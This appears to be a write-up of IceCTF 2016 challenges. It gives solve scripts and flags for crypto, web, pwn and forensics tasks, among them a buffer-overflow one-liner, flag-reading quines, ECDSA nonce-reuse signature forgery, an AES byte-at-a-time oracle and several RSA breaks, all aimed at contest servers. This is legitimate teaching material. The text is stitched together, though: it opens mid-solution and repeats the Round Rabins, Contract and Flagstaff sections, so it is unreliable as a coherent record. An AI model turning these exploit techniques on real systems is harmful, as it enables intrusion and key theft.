The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
